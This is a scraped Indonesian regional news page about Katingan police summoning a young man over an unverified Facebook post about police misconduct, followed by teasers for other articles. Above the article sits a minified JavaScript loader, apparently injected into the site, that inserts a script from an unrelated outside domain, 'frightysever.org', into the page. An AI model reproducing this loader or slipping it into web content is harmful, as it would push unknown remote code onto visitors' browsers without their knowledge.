(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KATINGAN, Polres Katingan melalui Subbaghumas memanggil seorang laki-laki, warga Telangkah untuk mempertanggungjawabkan unggahannya di media sosial, Senin (11/11/2019) sekira pukul 10.00 WIB. Kapolres Katingan AKBP E Dharma B Ginting SH SIK MH, melalui Pgs Kasubbaghumas Polres Katingan AKP Volvy Apriana SPd MA memanggil Fransisco Camismara (22), warga Jalan pinggir Sei Katingan, Desa Telangkah, Kecamatan Katingan Hilir, untuk dimintai keterangan terkait unggahannya di media sosial pribadinya. Fransisco Camismara mendatangi Polres Katingan didampingi sang istri.
“Fransisco warga Telangkah kami panggil ke Polres Katingan karena telah mengunggah berita yang belum tentu kebenarannya di akun Facebook pribadinya dengan nama @fransisco camismara,†ujarnya.
Baca: Tak Bijak di Medsos, Wanita Ini Dipanggil ke Polres Katingan
Menurut laki-laki ini -sebelumnya tertulis wanita ini-, kesehariannya tidak bekerja. Ia menyebarkan informasi yang belum tentu kebenarannya tentang foto yang diduga ada pelanggaran oleh anggota Kepolisian.
Dengan menambahkan caption “Aturan di buat untuk di langgar, Kalau tidak ada aturan tidak ada pelanggar..,†tulisnya diakun pribadinya.
Menurut pengakuan Frans, hal itu dilakukan karena melihat postingan tersebut di beranda akun miliknya dan menyebarkannya bahkan tidak menyadari kalau hal tersebut melanggar hukum.
Untuk sementara pihak Kepolisian melakukan pembinaan kepada yang bersangkutan. Supaya bijak bermedia sosial.
Frans juga diminta membuat surat pernyataan untuk tidak melakukan perbuatan serupa. Yang bersangkutan juga telah menyesali perbuatannya. Surat pernyataan untuk tidak melakukan perbuatan serupa ditulis istrinya didampingi langsung Fransisco Camismara ketika berada di Polres Katingan.
“Kami berharap tidak ada lagi warganet yang dipanggil ke Polres Katingan karena unggahannya di media sosial. Saya mengimbau kepada seluruh masyarakat Kabupaten Katingan agar bijak bermedia sosial. Dan saring informasi yang akan diunggah sebelum sharing,†imbaunya. (di/humas polres katingan)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.